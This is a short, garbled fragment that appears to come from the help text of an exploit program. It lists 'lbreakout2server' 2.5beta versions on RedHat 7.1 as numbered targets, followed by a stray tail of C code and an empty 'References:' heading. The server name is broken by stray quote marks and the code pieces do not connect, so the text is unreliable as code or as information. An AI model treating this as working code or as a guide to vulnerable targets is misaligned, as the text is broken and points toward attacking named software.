platforms: 0 lbreaout2server" " v2-2.5beta1-src on RedHat 7.1. (default) 1 l" "breaout2server v2-2.5beta2-src on RedHat 7.1.

", name); exit(0); }

References: